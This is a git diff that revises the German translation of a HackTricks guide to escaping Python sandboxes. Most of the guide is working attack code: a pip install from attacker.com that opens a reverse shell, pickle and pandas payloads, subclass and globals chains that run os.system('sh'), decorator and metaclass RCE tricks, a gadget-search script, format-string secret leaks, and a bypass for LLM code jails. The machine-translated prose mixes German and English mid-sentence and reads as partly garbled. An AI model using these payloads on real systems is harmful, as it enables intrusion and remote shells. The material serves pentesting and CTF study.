Translated ['', 'src/network-services-pentesting/pentesting-web/django.m

2025-10-10 18:36:50 +00:00 · 2025-08-28 12:43:03 +00:00 · 2025-08-28 12:43:03 +00:00 · dd685cf617
commit dd685cf617
parent b034593b5c
6 changed files with 443 additions and 447 deletions
--- a/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md
+++ b/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md
@ -2,9 +2,9 @@

 {{#include ../../../banners/hacktricks-training.md}}

-Dies sind einige Tricks, um python Sandbox-Schutzmechanismen zu bypassen und beliebige Befehle auszuführen.
+Dies sind einige Tricks, um python sandbox-Schutzmechanismen zu umgehen und beliebige Befehle auszuführen.

-## Bibliotheken zur Befehlsausführung
+## Bibliotheken zur Ausführung von Befehlen

 Das Erste, was du wissen musst, ist, ob du Code direkt mit einer bereits importierten Bibliothek ausführen kannst, oder ob du eine dieser Bibliotheken importieren könntest:
 ```python
@ -39,21 +39,21 @@ open('/var/www/html/input', 'w').write('123')
 execfile('/usr/lib/python2.7/os.py')
 system('ls')
 ```
-Denke daran, dass die _**open**_ und _**read**_ Funktionen nützlich sein können, um **read files** innerhalb der python sandbox zu ermöglichen und um **write some code** zu erstellen, das du **execute** kannst, um die sandbox zu **bypass**.
+Denke daran, dass die _**open**_ und _**read**_ Funktionen nützlich sein können, um **read files** innerhalb der python sandbox zu lesen und um **write some code** zu erstellen, das du **execute** kannst, um die sandbox zu **bypass**.

-> [!CAUTION] > **Python2 input()** Funktion erlaubt das Ausführen von Python-Code, bevor das Programm abstürzt.
+> [!CAUTION] > **Python2 input()** Funktion erlaubt die Ausführung von python code, bevor das Programm abstürzt.

 Python versucht, **load libraries from the current directory first** (der folgende Befehl gibt aus, wo Python Module lädt): `python3 -c 'import sys; print(sys.path)'`

 ![](<../../../images/image (559).png>)

-## Bypass pickle sandbox with the default installed python packages
+## Bypass pickle sandbox mit den standardmäßig installierten python packages

-### Standardpakete
+### Standard-Pakete

-Du findest eine **Liste vorinstallierter Pakete** hier: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
-Beachte, dass du aus einem pickle die python-Umgebung dazu bringen kannst, **import arbitrary libraries** zu nutzen, die im System installiert sind.\
-For example, the following pickle, when loaded, is going to import the pip library to use it:
+Du findest eine **Liste der vorinstallierten** Pakete hier: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
+Beachte, dass du aus einem pickle das python env dazu bringen kannst, **beliebige Bibliotheken zu importieren**, die im System installiert sind.\
+Zum Beispiel wird das folgende pickle beim Laden die pip-Bibliothek importieren, um sie zu verwenden:
 ```python
 #Note that here we are importing the pip library so the pickle is created correctly
 #however, the victim doesn't even need to have the library installed to execute it
@ -68,11 +68,11 @@ print(base64.b64encode(pickle.dumps(P(), protocol=0)))
 ```
 Für weitere Informationen darüber, wie pickle funktioniert, siehe: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)

-### Pip Paket
+### Pip package

 Trick geteilt von **@isHaacK**

-Wenn du Zugriff auf `pip` oder `pip.main()` hast, kannst du ein beliebiges Paket installieren und eine reverse shell erhalten, indem du aufrufst:
+Wenn Sie Zugriff auf `pip` oder `pip.main()` haben, können Sie ein beliebiges Paket installieren und eine reverse shell erhalten, indem Sie aufrufen:
 ```bash
 pip install http://attacker.com/Rerverse.tar.gz
 pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
@ -84,12 +84,12 @@ Reverse.tar (1).gz
 {{#endfile}}

 > [!TIP]
-> Dieses Paket heißt `Reverse`. Es wurde jedoch speziell so erstellt, dass beim Beenden der reverse shell die restliche Installation fehlschlägt, sodass du **kein zusätzliches python package auf dem Server zurücklässt**, wenn du gehst.
+> Dieses Paket heißt `Reverse`. Es wurde jedoch speziell so konstruiert, dass beim Verlassen der reverse shell die restliche Installation fehlschlägt, sodass du **kein zusätzliches python package auf dem Server installiert zurücklässt**, wenn du gehst.

-## Mit eval python-Code ausführen
+## Eval-ing python code

 > [!WARNING]
-> Beachte, dass exec mehrzeilige Strings und ";" erlaubt, eval aber nicht (siehe walrus-Operator)
+> Beachte, dass exec mehrzeilige Strings und ";" erlaubt, aber eval nicht (check walrus operator)

 Wenn bestimmte Zeichen verboten sind, kannst du die **hex/octal/B64**-Darstellung verwenden, um die Einschränkung zu **bypass**:
 ```python
@ -126,9 +126,9 @@ df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")
 # Like:
 df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")
 ```
-Siehe auch ein reales sandboxed evaluator escape in PDF-Generatoren:
+Siehe auch einen realen sandboxed evaluator escape in PDF-Generatoren:

- ReportLab/xhtml2pdf triple-bracket [[[...]]] expression evaluation → RCE (CVE-2023-33733). Es missbraucht rl_safe_eval, um über evaluierte Attribute (zum Beispiel font color) auf function.__globals__ und os.system zuzugreifen und einen gültigen Wert zurückzugeben, um das Rendering stabil zu halten.
+- ReportLab/xhtml2pdf triple-bracket [[[...]]] expression evaluation → RCE (CVE-2023-33733). Dabei wird rl_safe_eval missbraucht, um function.__globals__ und os.system aus ausgewerteten Attributen (zum Beispiel font color) zu erreichen und einen gültigen Wert zurückzugeben, um das Rendering stabil zu halten.

 {{#ref}}
 reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
@ -143,9 +143,9 @@ reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
 [y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
 ## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
 ```
-## Umgehung von Schutzmechanismen durch Encodings (UTF-7)
+## Umgehung von Schutzmechanismen durch Kodierungen (UTF-7)

-In [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) wird UFT-7 verwendet, um beliebigen python-Code innerhalb einer scheinbaren Sandbox zu laden und auszuführen:
+In [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) wird UFT-7 verwendet, um beliebigen python-Code in einer scheinbaren sandbox zu laden und auszuführen:
 ```python
 assert b"+AAo-".decode("utf_7") == "\n"

@ -156,11 +156,11 @@ return x
 #+AAo-print(open("/flag.txt").read())
 """.lstrip()
 ```
-Es ist auch möglich, es mit anderen Kodierungen zu umgehen, z. B. `raw_unicode_escape` und `unicode_escape`.
+Es ist auch möglich, es mit anderen Encodings zu umgehen, z. B. `raw_unicode_escape` und `unicode_escape`.

-## Python-Ausführung ohne Aufrufe
+## Python-Ausführung ohne calls

-Wenn du dich in einer python jail befindest, die **keine Aufrufe zulässt**, gibt es trotzdem einige Möglichkeiten, **beliebige Funktionen, Code** und **Befehle** auszuführen.
+Wenn du dich in einem python jail befindest, der dir **doesn't allow you to make calls**, gibt es dennoch einige Wege, **execute arbitrary functions, code** und **commands**.

 ### RCE mit [decorators](https://docs.python.org/3/glossary.html#term-decorator)
 ```python
@ -184,13 +184,13 @@ X = exec(X)
@'__import__("os").system("sh")'.format
 class _:pass
 ```
-### RCE Erstellen von objects und overloading
+### RCE: Objekte erstellen und Überladen

-Wenn du **declare a class** und **create an object** dieser class kannst, könntest du **write/overwrite different methods** anlegen, die **triggered** werden können, **without needing to call them directly**.
+Wenn du **eine Klasse deklarieren** und **ein Objekt dieser Klasse erstellen** kannst, könntest du **verschiedene Methoden schreiben/überschreiben**, die **ausgelöst** werden können, **ohne** sie direkt aufrufen zu müssen.

-#### RCE mit custom classes
+#### RCE mit benutzerdefinierten Klassen

-Du kannst einige **class methods** (_by overwriting existing class methods or creating a new class_) ändern, um sie dazu zu bringen, **execute arbitrary code**, wenn sie **triggered** werden, ohne sie direkt aufzurufen.
+Du kannst einige **Klassenmethoden** (_indem du bestehende Klassenmethoden überschreibst oder eine neue Klasse erstellst_) so verändern, dass sie **beliebigen Code ausführen**, wenn sie **ausgelöst** werden, ohne sie direkt aufzurufen.
 ```python
 # This class has 3 different ways to trigger RCE without directly calling any function
 class RCE:
@ -242,7 +242,7 @@ __ixor__ (k ^= 'import os; os.system("sh")')
 ```
 #### Objekte erstellen mit [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses)

-Das Entscheidende, was metaclasses uns ermöglichen, ist, **eine Instanz einer Klasse zu erzeugen, ohne den Konstruktor direkt aufzurufen**, indem man eine neue Klasse erstellt, bei der die Zielklasse als metaclass fungiert.
+Das Entscheidende, was metaclasses uns ermöglicht, ist, **eine instance einer class zu erstellen, ohne den constructor direkt aufzurufen**, indem man eine neue class erstellt, die die target class als metaclass benutzt.
 ```python
 # Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
 # This will define the members of the "subclass"
@ -257,9 +257,9 @@ Sub['import os; os.system("sh")']

 ## You can also use the tricks from the previous section to get RCE with this object
 ```
-#### Erstellen von Objekten mit exceptions
+#### Objekte mit Exceptions erstellen

-Wenn eine **exception ausgelöst** wird, wird ein Objekt der **Exception** **erstellt**, ohne dass du den constructor direkt aufrufen musst (ein Trick von [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)):
+Wenn eine **exception** ausgelöst wird, wird ein Objekt der **Exception** **erstellt**, ohne dass du den Konstruktor direkt aufrufen musst (ein Trick von [**@_nag0mez**](https://mobile.twitter.com/_nag0mez)):
 ```python
 class RCE(Exception):
 def __init__(self):
@ -315,17 +315,17 @@ pass
 - [**Builtins functions of python2**](https://docs.python.org/2/library/functions.html)
 - [**Builtins functions of python3**](https://docs.python.org/3/library/functions.html)

-Wenn du auf das **`__builtins__`**-Objekt zugreifen kannst, kannst du Bibliotheken importieren (beachte, dass du hier auch andere, im letzten Abschnitt gezeigte String-Repräsentationen verwenden könntest):
+Wenn du auf das Objekt **`__builtins__`** zugreifen kannst, kannst du Bibliotheken importieren (beachte, dass du hier auch andere in dem letzten Abschnitt gezeigte String-Repräsentationen verwenden könntest):
 ```python
 __builtins__.__import__("os").system("ls")
 __builtins__.__dict__['__import__']("os").system("ls")
 ```
 ### Keine Builtins

-Wenn du kein `__builtins__` hast, wirst du nichts importieren können, noch Dateien lesen oder schreiben, da **alle globalen Funktionen** (wie `open`, `import`, `print`...) **nicht geladen** sind.\
-Allerdings importiert Python **standardmäßig viele Module in den Speicher**. Diese Module mögen harmlos erscheinen, aber einige von ihnen importieren **auch gefährliche** Funktionalitäten in sich, auf die zugegriffen werden kann, um sogar **arbitrary code execution** zu erreichen.
+Wenn du kein `__builtins__` hast, wirst du nichts importieren können und kannst nicht einmal Dateien lesen oder schreiben, da **alle globalen Funktionen** (wie `open`, `import`, `print`...) **nicht geladen** sind.\
+Allerdings importiert **python standardmäßig viele Module in den Speicher**. Diese Module mögen harmlos erscheinen, aber einige von ihnen importieren **auch gefährliche** Funktionalitäten in sich, auf die zugegriffen werden kann, um sogar **arbitrary code execution** zu erlangen.

-In den folgenden Beispielen kannst du beobachten, wie einige dieser als **„harmlos“** geladenen Module **missbraucht** werden können, um auf **gefährliche** **Funktionalitäten** in ihnen zu **zugreifen**.
+In den folgenden Beispielen kannst du beobachten, wie einige dieser geladenen "**harmlosen**" Module **missbraucht** werden, um auf **gefährliche** **Funktionalitäten** in ihnen zu **zugreifen**.

 **Python2**
 ```python
@ -383,9 +383,9 @@ __builtins__["__import__"]("os").system("ls")
 # There are lots of other payloads that can be abused to execute commands
 # See them below
 ```
-## Globals und locals
+## Globals and locals

-Das Überprüfen der **`globals`** und **`locals`** ist eine gute Möglichkeit, festzustellen, worauf du zugreifen kannst.
+Das Überprüfen der **`globals`** und **`locals`** ist eine gute Möglichkeit, herauszufinden, worauf du zugreifen kannst.
 ```python
 >>> globals()
 {'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
@ -409,15 +409,15 @@ class_obj.__init__.__globals__
 [ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
 [<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
 ```
-[**Unten befindet sich eine größere Funktion**](#recursive-search-of-builtins-globals) um Dutzende/**Hunderte** von **Stellen** zu finden, an denen du die **globals** finden kannst.
+[**Below there is a bigger function**](#recursive-search-of-builtins-globals) um Dutzende/**Hunderte** von **Stellen** zu finden, an denen du die **globals** findest.

 ## Discover Arbitrary Execution

-Hier möchte ich erklären, wie man leichter **gefährlichere geladene Funktionalitäten** entdeckt und zuverlässigere exploits vorschlägt.
+Hier möchte ich erklären, wie man leicht **gefährlichere geladene Funktionalitäten** entdeckt und zuverlässigere Exploits vorschlägt.

-#### Zugriff auf subclasses mit bypasses
+#### Accessing subclasses with bypasses

-Einer der sensibelsten Teile dieser Technik ist die Fähigkeit, **auf die base subclasses zuzugreifen**. In den vorherigen Beispielen wurde dies mit `''.__class__.__base__.__subclasses__()` gemacht, aber es gibt **andere mögliche Wege**:
+Einer der sensibelsten Teile dieser Technik ist die Fähigkeit, **access the base subclasses**. In den vorherigen Beispielen wurde dies mit `''.__class__.__base__.__subclasses__()` gemacht, aber es gibt **andere mögliche Wege**:
 ```python
 #You can access the base from mostly anywhere (in regular conditions)
 "".__class__.__base__.__subclasses__()
@ -447,16 +447,16 @@ defined_func.__class__.__base__.__subclasses__()
 ```
 ### Gefährliche geladene Bibliotheken finden

-Zum Beispiel: Wenn man weiß, dass man mit der Bibliothek **`sys`** beliebige Bibliotheken **importieren** kann, kann man nach allen **geladenen Modulen suchen, die `sys` importiert haben**:
+Zum Beispiel: Wenn bekannt ist, dass man mit der Bibliothek **`sys`** **beliebige Bibliotheken importieren** kann, kann man nach allen **geladenen Modulen suchen, die `sys` importiert haben**:
 ```python
 [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
 ['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
 ```
-Es gibt viele, und **wir brauchen nur eine**, um Befehle auszuführen:
+Es gibt viele, und **wir brauchen nur eines**, um Befehle auszuführen:
 ```python
 [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
 ```
-Wir können dasselbe mit **anderen Bibliotheken** tun, von denen wir wissen, dass sie zur **Ausführung von Befehlen** verwendet werden können:
+Dasselbe können wir mit **other libraries** tun, von denen wir wissen, dass sie verwendet werden können, um **execute commands** auszuführen:
 ```python
 #os
 [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
@ -491,7 +491,7 @@ Wir können dasselbe mit **anderen Bibliotheken** tun, von denen wir wissen, das
 #pdb
 [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")
 ```
-Außerdem könnten wir sogar herausfinden, welche Module bösartige Bibliotheken laden:
+Außerdem könnten wir sogar nach Modulen suchen, die bösartige Bibliotheken laden:
 ```python
 bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
 for b in bad_libraries_names:
@ -510,7 +510,7 @@ builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalE
 pdb:
 """
 ```
-Außerdem, wenn du denkst, dass **other libraries** möglicherweise **invoke functions to execute commands**, können wir auch **filter by functions names** innerhalb der möglichen libraries anwenden:
+Außerdem, wenn du denkst, dass **andere Bibliotheken** möglicherweise **Funktionen aufrufen können, um Befehle auszuführen**, können wir auch **nach Funktionsnamen** innerhalb der möglichen Bibliotheken filtern:
 ```python
 bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
 bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
@ -543,10 +543,10 @@ execute:
 __builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPRequest, _Poly1305Context, PSS, OAEP, MGF1, _RSASignatureContext, _RSAVerificationContext, _RSAPrivateKey, _RSAPublicKey, _X25519PublicKey, _X25519PrivateKey, _X448PublicKey, _X448PrivateKey, Scrypt, PKCS7SignatureBuilder, Backend, GetCipherByName, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, RawJSON, JSONDecoder, JSONEncoder, Cookie, CookieJar, MockRequest, MockResponse, Response, BaseAdapter, UnixHTTPConnection, monkeypatch, JSONDecoder, JSONEncoder, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
 """
 ```
-## Rekursive Suche nach builtins, globals...
+## Rekursive Suche nach Builtins, Globals...

 > [!WARNING]
-> Das ist einfach **großartig**. Wenn du **nach einem Objekt wie globals, builtins, open oder Ähnlichem suchst** benutze einfach dieses Skript, um **rekursiv Stellen zu finden, an denen du dieses Objekt finden kannst.**
+> Das ist einfach **großartig**. Wenn du **ein Objekt wie globals, builtins, open oder Ähnliches suchst**, verwende einfach dieses script, um **rekursiv Stellen zu finden, an denen du dieses Objekt finden kannst.**
 ```python
 import os, sys # Import these to find more gadgets

@ -662,7 +662,7 @@ print(SEARCH_FOR)
 if __name__ == "__main__":
 main()
 ```
-Du kannst die Ausgabe dieses Skripts auf dieser Seite ansehen:
+Du kannst die Ausgabe dieses Skripts auf dieser Seite prüfen:


 {{#ref}}
@ -671,7 +671,7 @@ https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-

 ## Python Format String

-Wenn du einen **string** an python schickst, der **formatiert** wird, kannst du `{}` verwenden, um auf **python interne Informationen.** zuzugreifen. Du kannst die vorherigen Beispiele verwenden, um zum Beispiel auf globals oder builtins zuzugreifen.
+Wenn du einen **string** an python **sendest**, der **formatiert** wird, kannst du `{}` verwenden, um **interne Informationen von python** auszulesen. Du kannst die vorherigen Beispiele verwenden, um z. B. auf **globals** oder **builtins** zuzugreifen.
 ```python
 # Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
 CONFIG = {
@ -691,16 +691,16 @@ people = PeopleInfo('GEEKS', 'FORGEEKS')
 st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
 get_name_for_avatar(st, people_obj = people)
 ```
-Beachte, wie du **auf Attribute zugreifen** kannst auf normale Weise mit einem **Punkt** wie `people_obj.__init__` und **dict-Elemente** mit **eckigen Klammern** ohne Anführungszeichen `__globals__[CONFIG]`
+Beachte, wie du auf **Attribute** auf normale Weise mit einem **Punkt** zugreifen kannst, wie `people_obj.__init__` und auf ein **dict-Element** mit **eckigen Klammern** ohne Anführungszeichen `__globals__[CONFIG]`

 Beachte auch, dass du `.__dict__` verwenden kannst, um Elemente eines Objekts aufzulisten `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`

-Weitere interessante Eigenschaften von format strings sind die Möglichkeit, die **Funktionen** **`str`**, **`repr`** und **`ascii`** auf dem angegebenen Objekt auszuführen, indem man jeweils **`!s`**, **`!r`**, **`!a`** anhängt:
+Ein weiteres interessantes Merkmal von Format-Strings ist die Möglichkeit, die **Funktionen** **`str`**, **`repr`** und **`ascii`** im angegebenen Objekt durch Anhängen von **`!s`**, **`!r`**, **`!a`** auszuführen:
 ```python
 st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
 get_name_for_avatar(st, people_obj = people)
 ```
-Außerdem ist es möglich, in Klassen **neue Formatter zu implementieren**:
+Außerdem ist es möglich, **code new formatters** in Klassen:
 ```python
 class HAL9000(object):
 def __format__(self, format):
@ -714,7 +714,7 @@ return 'HAL 9000'
 **Weitere Beispiele** zu **format** **string**-Beispielen finden Sie unter [**https://pyformat.info/**](https://pyformat.info)

 > [!CAUTION]
-> Prüfen Sie auch die folgende Seite auf Gadgets, die **sensible Informationen aus Python-internen Objekten lesen**:
+> Prüfen Sie auch die folgende Seite auf gadgets, die l**esen sensible Informationen aus Python internal objects**:


 {{#ref}}
@ -739,20 +739,20 @@ str(x) # Out: clueless
 ```
 ### LLM Jails bypass

-Von [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')`
+From [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')`

-### Vom Format-String zur RCE beim Laden von Bibliotheken
+### Vom Format-String zur RCE durch Laden von Bibliotheken

-Laut dem [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/) ist es möglich, beliebige Bibliotheken von der Festplatte zu laden, indem man die Format-String-Schwachstelle in python ausnutzt.
+Laut dem [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/) ist es möglich, beliebige Libraries von der Festplatte zu laden, indem man die Format-String-Schwachstelle in Python ausnutzt.

